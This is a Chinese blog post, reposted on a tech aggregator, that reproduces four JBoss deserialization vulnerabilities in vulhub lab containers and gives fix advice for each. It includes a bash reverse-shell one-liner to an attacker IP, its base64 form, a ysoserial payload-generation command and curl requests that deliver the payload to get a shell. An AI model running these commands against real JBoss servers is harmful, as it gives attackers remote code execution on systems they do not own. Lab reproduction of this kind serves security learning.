IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> JBoss漏洞总结复现 -> 正文阅读

[系统运维]JBoss漏洞总结复现

简介

Jboss是一个基于J2EE的开放源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
默认端口:8080

JBoss发序列化漏洞(CVE-2017-12149)

漏洞描述

JBOSSApplication Server反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。

漏洞原理

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了攻击者可以在服务器上执行任意代码。

影响范围

Jboss AS 5.x
Jboss AS 6.x

漏洞复现

环境:vulhub,进入对应的目录后 docker-compose up -d启动容器
访问http://192.168.255.128:8080,环境搭建完成。
image-20211008171844279
验证漏洞:访问http://192.168.255.128:8080/invoker/readonly若出现以下页面,则存在漏洞。http响应码500(内部服务器错误——服务器端的CGI、ASP、JSP等程序发生错误),分析猜想,此处服务器将用户提交的POST内容进行了Java反序列化。
image-20211008171718419
使用工具ysoserial来生成序列化数据,构造POC,使用bash反弹Shell,nc接受反弹回来的Shell。
exp:

bash -c `bash -i >& /dev/tcp/192.168.255.131/5555 0>&1`

需要进行编码,直接传参数ysoserial会处理换行。
http://www.jackson-t.ca/runtime-exec-payloads.html

bash -c {echo,YmFzaCAtYyBgYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1NS4xMzEvNTU1NSAwPiYxYA==}|{base64,-d}|{bash,-i}

生成payload。

java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtYyBgYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1NS4xMzEvNTU1NSAwPiYxYA==}|{base64,-d}|{bash,-i}" > poc.ser

image-20211008173841570
将payload序列化后的数据发送到服务器,服务器收到序列化数据后会反序列化,触发payload,即可获取shell。
1、通过curl发起post请求。
curl http://192.168.255.128:8080/invoker/readonly --data-binary @poc.ser
出现问题了,利用CommonsCollections1库生成的payload利用失败了。
image-20211008174804439
换成CommonsCollections6库生成的payload,利用成功。(根据服务器端程序版本不同而不同,若如报错,可尝试跟换其他利用库)
image-20211008175031580
2、通过burpsuite post请求。
image-20211008180500732

修复建议

1、升级至不受影响的版本。
2、删除http-invoker.sar 组件。
3、添加如下代码至 http-invoker.sar 下 web.xml的security-constraint 标签中:/*用于对 http invoker 组件进行访问控制。

JBossMQ JMS反序列化漏洞(CVE-2017-7504)

漏洞描述

CVE-2017-7504为JBossMQ JMS反序列化漏洞,利用了Apache Commons Collections的基础库进行Java反序列化漏洞的利用。

漏洞原理

CVE-2017-7504利用路径是/jbossmq-httpil/HTTPServerILServlet,CVE-2015-7501的利用路径是/invoker/JMXInvokerServlet。
JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java?件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利?该漏洞执?任意代码。

影响范围

Jboss AS 4.x及之前版本

复现过程

环境:vulhub进入对应的目录后docker-compose up -d
访问http://192.168.255.128:8080/,环境搭建完成。
image-20211008183543215
验证漏洞
访问http://192.168.255.128:8080/jbossmq-httpil/HTTPServerILServlet。
若出现如下界面,则存在漏洞。
image-20211008183723890
使用nc打开端口监听,再用之前生成的poc2.ser文件,通过POST二进制数据上去,即可拿到shell。
curl http://192.168.255.128:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc2.ser
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6n79fOyX-1633701865324)(http://photo.1ance.xyz/JBoss/image-20211008184035492.png)]

修复建议

1、升级至最新版本。

JBoss JMXInvokerServlet反序列化漏洞(CVE-2015-7501)

漏洞描述

利用了Apache Commons Collections的基础库进行Java反序列化漏洞的利用。

漏洞原理

CVE-2015-7501的利用路径是/invoker/JMXInvokerServlet
JBoss中/invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持反序列化。JBoss在/invoker/JMXInvokerServlet 请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

影响范围

JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0

复现过程

环境:vulhub,进入对应的目录后docker-compose up -d
访问/invoker/JMXInvokerServlet,返回如下页面,说明接口开放,此接口存在反序列化漏洞。
image-20211008185149414
使用nc打开端口监听,再用之前生成的poc2.ser文件,通过POST二进制数据上去,即可拿到shell。
curl http://192.168.255.128:8080/invoker/JMXInvokerServlet --data-binary @poc2.ser
image-20211008185510040

修复建议

1、升级至不受影响的版本或者及时打上官方补丁。
2、设置中间件的访问控制权限,禁止web访问/invoker目录。

JBoss EJBInvokerServlet 反序列化漏洞(CVE-2013-4810)

漏洞描述

此漏洞和 CVE-2015-7501 漏洞原理相同,两者的区别就在于两个漏洞选择的路径,其中JMXInvok erServlet 和 EJBInvokerServlet 利用的是 org.jboss.invocation.MarshalledValue 进行的反序列化操作,而 web-console/Invoker 利用的是 org.jboss.console.remote.RemoteMBeanInvocation 进行反序列化并上传构造的文件。

影响范围

jboss 6.x 版本

复现过程

环境:vulhub,使用CVE-2015-7501的环境。
访问http://192.168.255.128:8080/invoker/EJBInvokerServlet返回如下,说明接口开放,此接口存在反序列化漏洞。
image-20211008191445597
利用方式同上,换成/invoker/EJBInvokerServlet路径即可。

修复建议

1、不需要 http-invoker.sar 组件的用户可直接删除此组件。路径为:\server\default\deploy\http-invoker.sar
2、添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint标签中,对http invoker 组件进行访问控制:
/*
路径为:\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF\web.xml

总结

JBoss存在的漏洞有很多,这里总结主要是对一些常见的漏洞复现和分析(主要是vulhub上的环境)当然了目前网上都有很多自动化的检测和利用工具,这里手动验证是为了加深印象;漏洞的原理很多都是参考大佬们的文章,个人其实还是有很多不是很理解(菜狗)这里对大佬们表示衷心的感谢。后续继续补充其他漏洞复现。

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2021-10-09 16:39:50  更:2021-10-09 16:40:44 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 18:14:48-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码